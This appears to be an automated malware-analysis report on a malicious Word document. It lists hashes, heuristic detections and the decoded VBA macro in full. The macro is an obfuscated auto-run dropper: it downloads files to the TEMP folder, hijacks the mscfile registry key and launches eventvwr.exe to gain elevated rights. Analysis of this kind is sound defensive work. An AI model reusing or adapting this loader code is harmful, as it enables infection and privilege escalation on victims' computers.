Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2c8a848c506c34d7…

MALICIOUS

Office (OLE)

36.5 KB Created: 2018-03-26 15:41:00 Authoring application: Microsoft Office Word First seen: 2019-01-12
MD5: 4f2a54ea281b2d5a00315e52f574b977 SHA-1: 55075c6b1aa3808cd11135247bb37d9bb70d13e8 SHA-256: 2c8a848c506c34d77e7262d8c751e695bed88627c7ac4438ff6d7e2ac952ce13
238 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains critical heuristic firings indicating an obfuscated auto-exec VBA loader that downloads and executes a file from an HTTP URL. The VBA macro uses `CreateObject` and `Shell.Exec` to achieve this, suggesting it's designed to fetch and run a second-stage payload. The document body is heavily corrupted, providing no contextual clues.

Heuristics 8

  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    KHVWNQZEYOMMLOHKNVJJQMNJVKZYPJTPKRWONHHVZGTETFOUONKTRDUZDBHPQBCGSIXFVYIMHWUUTWOLPERKSUVRES = RESIZXRCXSZFWVPJWIOUMUNPDWVSBZLWILJPQYJKOTQFNWHQNIXDDCFWTWMSSBCEZMTQIYZKYBINXEXRFPPDTDVXK.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set RESIZXRCXSZFWVPJWIOUMUNPDWVSBZLWILJPQYJKOTQFNWHQNIXDDCFWTWMSSBCEZMTQIYZKYBINXEXRFPPDTDVXK = CreateObject(Chr(77) + Chr(73) + Chr(67) + Chr(82) + Chr(79) + Chr(83) + Chr(79) + Chr(70) + Chr(84) + Chr(46) + Chr(88) + Chr(77) + Chr(76) + Chr(72) + Chr(84) + Chr(84) + Chr(80))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set RESIZXRCXSZFWVPJWIOUMUNPDWVSBZLWILJPQYJKOTQFNWHQNIXDDCFWTWMSSBCEZMTQIYZKYBINXEXRFPPDTDVXK = CreateObject(Chr(77) + Chr(73) + Chr(67) + Chr(82) + Chr(79) + Chr(83) + Chr(79) + Chr(70) + Chr(84) + Chr(46) + Chr(88) + Chr(77) + Chr(76) + Chr(72) + Chr(84) + Chr(84) + Chr(80))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    FNWHQNIXDDCFWTWMSSBCEZMTQIYZKYBINXEXRFPPDTDVXKXEBJITEQMLQYGRLPCYNOFPRVQGLLKMYCFUBBJ = Environ("TEMP") + UVRESIZXRCXSZFWVPJWIOUMUNPDWVSBZLWILJPQYJKOTQFNWHQNIXDDCFWTWMSSBCEZMTQIYZKYBINXEXRFPP.Item(RFPPDTDVXKXEBJITEQMLQYGRLPCYNOFPRVQGLLKMYCFUBBJKMIUCXQHISHJQOGMYZNRXLVLWGSGLIRJU)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6297 bytes
SHA-256: 9e9efa18458bcf38a3436ad1445c8c0df98ca81063b039a67e30526b5095ac05
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Set RESIZXRCXSZFWVPJWIOUMUNPDWVSBZLWILJPQYJKOTQFNWHQNIXDDCFWTWMSSBCEZMTQIYZKYBINXEXRFPPDTDVXK = CreateObject(Chr(77) + Chr(73) + Chr(67) + Chr(82) + Chr(79) + Chr(83) + Chr(79) + Chr(70) + Chr(84) + Chr(46) + Chr(88) + Chr(77) + Chr(76) + Chr(72) + Chr(84) + Chr(84) + Chr(80))
Set MRUSYHOSTXKHVWNQZEYOMMLOHKNVJJQMNJVKZYPJTPKRWONHHVZGTETFOUONKTRDUZDBHPQBCGSIXFVYIMHWUUTWOLPERKS = CreateObject(Chr(115) + Chr(121) + Chr(115) + Chr(116) + Chr(101) + Chr(109) + Chr(46) + Chr(99) + Chr(111) + Chr(108) + Chr(108) + Chr(101) + Chr(99) + Chr(116) + Chr(105) + Chr(111) + Chr(110) + Chr(115) + Chr(46) + Chr(97) + Chr(114) + Chr(114) + Chr(97) + Chr(121) + Chr(108) + Chr(105) + Chr(115) + Chr(116))
RFPPDTDVXKXEBJITEQMLQYGRLPCYNOFPRVQGLLKMYCFUBBJKMIUCXQHISHJQOGMYZNRXLVLWGSGLIRJU = Chr(48)
Set UVRESIZXRCXSZFWVPJWIOUMUNPDWVSBZLWILJPQYJKOTQFNWHQNIXDDCFWTWMSSBCEZMTQIYZKYBINXEXRFPP = CreateObject(Chr(115) + Chr(121) + Chr(115) + Chr(116) + Chr(101) + Chr(109) + Chr(46) + Chr(99) + Chr(111) + Chr(108) + Chr(108) + Chr(101) + Chr(99) + Chr(116) + Chr(105) + Chr(111) + Chr(110) + Chr(115) + Chr(46) + Chr(97) + Chr(114) + Chr(114) + Chr(97) + Chr(121) + Chr(108) + Chr(105) + Chr(115) + Chr(116))

@
@
Set ONKTRDUZDBHPQBCGSIXFVYIMHWUUTWOLPERKSUVRESIZXRCXSZFWVPJWIOUMUNPDWVSBZLWILJPQYJKOTQ = CreateObject(Chr(87) + Chr(83) + Chr(67) + Chr(82) + Chr(73) + Chr(80) + Chr(84) + Chr(46) + Chr(83) + Chr(72) + Chr(69) + Chr(76) + Chr(76))
For Each KHVWNQZEYOMMLOHKNVJJQMNJVKZYPJTPKRWONHHVZGTETFOUONKTRDUZDBHPQBCGSIXFVYIMHWUUTWOLPERKSUVRES In MRUSYHOSTXKHVWNQZEYOMMLOHKNVJJQMNJVKZYPJTPKRWONHHVZGTETFOUONKTRDUZDBHPQBCGSIXFVYIMHWUUTWOLPERKS
FNWHQNIXDDCFWTWMSSBCEZMTQIYZKYBINXEXRFPPDTDVXKXEBJITEQMLQYGRLPCYNOFPRVQGLLKMYCFUBBJ = Environ("TEMP") + UVRESIZXRCXSZFWVPJWIOUMUNPDWVSBZLWILJPQYJKOTQFNWHQNIXDDCFWTWMSSBCEZMTQIYZKYBINXEXRFPP.Item(RFPPDTDVXKXEBJITEQMLQYGRLPCYNOFPRVQGLLKMYCFUBBJKMIUCXQHISHJQOGMYZNRXLVLWGSGLIRJU)
RESIZXRCXSZFWVPJWIOUMUNPDWVSBZLWILJPQYJKOTQFNWHQNIXDDCFWTWMSSBCEZMTQIYZKYBINXEXRFPPDTDVXK.Open Chr(103) + Chr(101) + Chr(116), KHVWNQZEYOMMLOHKNVJJQMNJVKZYPJTPKRWONHHVZGTETFOUONKTRDUZDBHPQBCGSIXFVYIMHWUUTWOLPERKSUVRES, False
RESIZXRCXSZFWVPJWIOUMUNPDWVSBZLWILJPQYJKOTQFNWHQNIXDDCFWTWMSSBCEZMTQIYZKYBINXEXRFPPDTDVXK.send
KHVWNQZEYOMMLOHKNVJJQMNJVKZYPJTPKRWONHHVZGTETFOUONKTRDUZDBHPQBCGSIXFVYIMHWUUTWOLPERKSUVRES = RESIZXRCXSZFWVPJWIOUMUNPDWVSBZLWILJPQYJKOTQFNWHQNIXDDCFWTWMSSBCEZMTQIYZKYBINXEXRFPPDTDVXK.responseBody
If RESIZXRCXSZFWVPJWIOUMUNPDWVSBZLWILJPQYJKOTQFNWHQNIXDDCFWTWMSSBCEZMTQIYZKYBINXEXRFPPDTDVXK.Status = 200 Then
Set QDYWDLSDXCNLZBRBEIDSWXWYKORHNNUWXTGOKDTUFTVCBRYLLYDJXHWJSFSXUEVHYEHFLTBFFKVTIJZDMQLBYYXZSW = CreateObject(Chr(65) + Chr(68) + Chr(79) + Chr(68) + Chr(66) + Chr(46) + Chr(83) + Chr(116) + Chr(114) + Chr(101) + Chr(97) + Chr(109))
QDYWDLSDXCNLZBRBEIDSWXWYKORHNNUWXTGOKDTUFTVCBRYLLYDJXHWJSFSXUEVHYEHFLTBFFKVTIJZDMQLBYYXZSW.Open
QDYWDLSDXCNLZBRBEIDSWXWYKORHNNUWXTGOKDTUFTVCBRYLLYDJXHWJSFSXUEVHYEHFLTBFFKVTIJZDMQLBYYXZSW.Type = Chr(49)
QDYWDLSDXCNLZBRBEIDSWXWYKORHNNUWXTGOKDTUFTVCBRYLLYDJXHWJSFSXUEVHYEHFLTBFFKVTIJZDMQLBYYXZSW.Write RESIZXRCXSZFWVPJWIOUMUNPDWVSBZLWILJPQYJKOTQFNWHQNIXDDCFWTWMSSBCEZMTQIYZKYBINXEXRFPPDTDVXK.responseBody
QDYWDLSDXCNLZBRBEIDSWXWYKORHNNUWXTGOKDTUFTVCBRYLLYDJXHWJSFSXUEVHYEHFLTBFFKVTIJZDMQLBYYXZSW.SaveToFile FNWHQNIXDDCFWTWMSSBCEZMTQIYZKYBINXEXRFPPDTDVXKXEBJITEQMLQYGRLPCYNOFPRVQGLLKMYCFUBBJ, Chr(50)
QDYWDLSDXCNLZBRBEIDSWXWYKORHNNUWXTGOKDTUFTVCBRYLLYDJXHWJSFSXUEVHYEHFLTBFFKVTIJZDMQLBYYXZSW.Close
End If
ONKTRDUZDBHPQBCGSIXFVYIMHWUUTWOLPERKSUVRESIZXRCXSZFWVPJWIOUMUNPDWVSBZLWILJPQYJKOTQ.RegWrite "HKCU\Software\Classes\mscfile\shell\open\command\", FNWHQNIXDDCFWTWMSSBCEZMTQIYZKYBINXEXRFPPDTDVXKXEBJITEQMLQYGRLPCYNOFPRVQGLLKMYCFUBBJ, "REG_SZ"
ONKTRDUZDBHPQBCGSIXFVYIMHWUUTWOLPERKSUVRESIZXRCXSZFWVPJWIOUMUNPDWVSBZLWILJPQYJKOTQ.Run "eventvwr.exe"
RFPPDTDVXKXEBJITEQMLQYGRLPCYNOFPRVQGLLKMYCFUBBJKMIUCXQHISHJQOGMYZNRXLVLWGSGLIRJU = RFPPDTDVXKXEBJITEQMLQYGRLPCYNOFPRVQGLLKMYCFUBBJKMIUCXQHISHJQOGMYZNRXLVLWGSGLIRJU + Chr(49)
Next


End Sub
Function KHVWNQZEYOMMLOHKNVJJQMNJVKZYPJTPKRWONHHVZGTETFOUONKTRDUZDBHPQBCGSIXFVYIMHWUUTWOLPERKSUVRESIZXRCX(SZFWVPJWIOUMUNPDWVSBZLWILJPQYJKOTQFNWHQNIXDDCFWTWMSSBCEZMTQIYZKYBINXEXRFPPDTDVXKXE)
RDUZDBHPQBCGSIXFVYIMHWUUTWOLPERKSUVRESIZXRCXSZFWVPJWIOUMUNPDWVSBZLWILJPQYJKOTQFNWHQNIXDDCFWTWMSSB = 10 - 9
        KMIUCXQHISHJQOGMYZNRXLVLWGSGLIRJUMRUSYHOSTXKHVWNQZEYOMMLOHKNVJJQMNJVKZYPJTPKRWONHHVZGTET = ""
    For FOUONKTRDUZDBHPQBCGSIXFVYIMHWUUTWOLPERKSUVRESIZXRCXSZFWVPJWIOUMUNPDWVSBZLWILJPQYJKOT = RDUZDBHPQBCGSIXFVYIMHWUUTWOLPERKSUVRESIZXRCXSZFWVPJWIOUMUNPDWVSBZLWILJPQYJKOTQFNWHQNIXDDCFWTWMSSB To Len(SZFWVPJWIOUMUNPDWVSBZLWILJPQYJKOTQFNWHQNIXDDCFWTWMSSBCEZMTQIYZKYBINXEXRFPPDTDVXKXE)
        HJQOGMYZNRXLVLWGSGLIRJUMRUSYHOSTXKHVWNQZEYOMMLOHKNVJJQMNJVKZYPJTPKRWONHHVZGTETFOUONKT = Asc(Mid(SZFWVPJWIOUMUNPDWVSBZLWILJPQYJKOTQFNWHQNIXDDCFWTWMSSBCEZMTQIYZKYBINXEXRFPPDTDVXKXE, FOUONKTRDUZDBHPQBCGSIXFVYIMHWUUTWOLPERKSUVRESIZXRCXSZFWVPJWIOUMUNPDWVSBZLWILJPQYJKOT, RDUZDBHPQBCGSIXFVYIMHWUUTWOLPERKSUVRESIZXRCXSZFWVPJWIOUMUNPDWVSBZLWILJPQYJKOTQFNWHQNIXDDCFWTWMSSB))

            QFNWHQNIXDDCFWTWMSSBCEZMTQIYZKYBINXEXRFPPDTDVXKXEBJITEQMLQYGRLPCYNOFPRVQGLLKMYCFUBBJKMIUCXQHIS = HJQOGMYZNRXLVLWGSGLIRJUMRUSYHOSTXKHVWNQZEYOMMLOHKNVJJQMNJVKZYPJTPKRWONHHVZGTETFOUONKT - RDUZDBHPQBCGSIXFVYIMHWUUTWOLPERKSUVRESIZXRCXSZFWVPJWIOUMUNPDWVSBZLWILJPQYJKOTQFNWHQNIXDDCFWTWMSSB
        KMIUCXQHISHJQOGMYZNRXLVLWGSGLIRJUMRUSYHOSTXKHVWNQZEYOMMLOHKNVJJQMNJVKZYPJTPKRWONHHVZGTET = KMIUCXQHISHJQOGMYZNRXLVLWGSGLIRJUMRUSYHOSTXKHVWNQZEYOMMLOHKNVJJQMNJVKZYPJTPKRWONHHVZGTET & Chr(QFNWHQNIXDDCFWTWMSSBCEZMTQIYZKYBINXEXRFPPDTDVXKXEBJITEQMLQYGRLPCYNOFPRVQGLLKMYCFUBBJKMIUCXQHIS)
    Next
    KHVWNQZEYOMMLOHKNVJJQMNJVKZYPJTPKRWONHHVZGTETFOUONKTRDUZDBHPQBCGSIXFVYIMHWUUTWOLPERKSUVRESIZXRCX = KMIUCXQHISHJQOGMYZNRXLVLWGSGLIRJUMRUSYHOSTXKHVWNQZEYOMMLOHKNVJJQMNJVKZYPJTPKRWONHHVZGTET
End Function

Attribute VB_Name = "NewMacros"
Sub jodiefund1()
'
' jodiefund1 Macro
'
'

End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.